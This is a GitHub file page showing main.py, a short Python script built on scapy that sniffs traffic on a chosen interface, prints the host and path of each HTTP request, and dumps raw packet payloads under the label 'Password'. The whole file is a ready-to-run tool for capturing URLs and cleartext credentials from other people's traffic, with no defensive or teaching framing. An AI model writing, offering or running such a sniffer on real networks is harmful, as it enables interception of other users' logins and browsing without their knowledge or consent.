-
Notifications
You must be signed in to change notification settings - Fork 7
/
main.py
32 lines (28 loc) · 1.67 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import scapy.all as scapy
from scapy.layers import http
import argparse
def get_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-i", "--ip", dest="interface", help="Interface of the network (ex: enO / ethO)")
options = parser.parse_args()
if not options.interface:
parser.error("[!] Please add an interface to proceed, --help for more informations.")
return options
def sniffer(interface):
scapy.sniff(iface = interface, store = False, prn = sniffed_packet)
print("""
______ ______ ______ __ __ ______ ______ ______ __ __ __ ______ ______ ______ ______
/\ == \ /\ __ \ /\ ___\ /\ \/ / /\ ___\ /\__ _\ /\ ___\ /\ "-.\ \ /\ \ /\ ___\ /\ ___\ /\ ___\ /\ == \
\ \ _-/ \ \ __ \ \ \ \____ \ \ _"-. \ \ __\ \/_/\ \/ \ \___ \ \ \ \-. \ \ \ \ \ \ __\ \ \ __\ \ \ __\ \ \ __<
\ \_\ \ \_\ \_\ \ \_____\ \ \_\ \_\ \ \_____\ \ \_\ \/\_____\ \ \_\\"\_\ \ \_\ \ \_\ \ \_\ \ \_____\ \ \_\ \_\
\/_/ \/_/\/_/ \/_____/ \/_/\/_/ \/_____/ \/_/ \/_____/ \/_/ \/_/ \/_/ \/_/ \/_/ \/_____/ \/_/ /_/
[+] Waiting for traffic..
""")
def sniffed_packet(packet):
if packet.haslayer(http.HTTPRequest):
url = packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
print("[+] URL > " + url)
if packet.haslayer(scapy.Raw):
print("[+] Password > " + str(packet[scapy.Raw].load))
options = get_arguments()
sniffer(options.interface)